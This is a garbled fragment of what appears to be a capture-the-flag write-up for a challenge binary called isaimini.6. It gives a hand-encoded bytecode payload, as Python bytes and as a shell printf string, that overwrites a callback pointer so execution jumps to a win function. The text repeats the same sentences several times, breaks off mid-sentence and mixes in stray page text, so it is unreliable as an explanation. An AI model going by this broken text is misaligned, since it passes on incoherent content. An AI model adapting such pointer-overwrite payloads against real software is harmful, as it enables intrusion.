Thus, if we can , the program will call win after finishing the instruction stream, and we win. 5. Vulnerability Discovery The ST instruction performs:

# Instead of assembling, we manually encode: payload = b"\x01\x01" + p64(win_addr) # MOV r1, win payload += b"\x05\x10\x01" # ST [r16], r1 (write win → callback) payload += b"\x09" # HLT

payload=$(printf '\x01\x01\x10\x1b\x40\x00\x00\x00\x00\x00\x05\x10\x01\x09') # Make the binary executable chmod +x isaimini.6

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Isaimini.6 [patched] Online

Thus, if we can , the program will call win after finishing the instruction stream, and we win. 5. Vulnerability Discovery The ST instruction performs:

# Instead of assembling, we manually encode: payload = b"\x01\x01" + p64(win_addr) # MOV r1, win payload += b"\x05\x10\x01" # ST [r16], r1 (write win → callback) payload += b"\x09" # HLT isaimini.6

payload=$(printf '\x01\x01\x10\x1b\x40\x00\x00\x00\x00\x00\x05\x10\x01\x09') # Make the binary executable chmod +x isaimini.6 Thus, if we can , the program will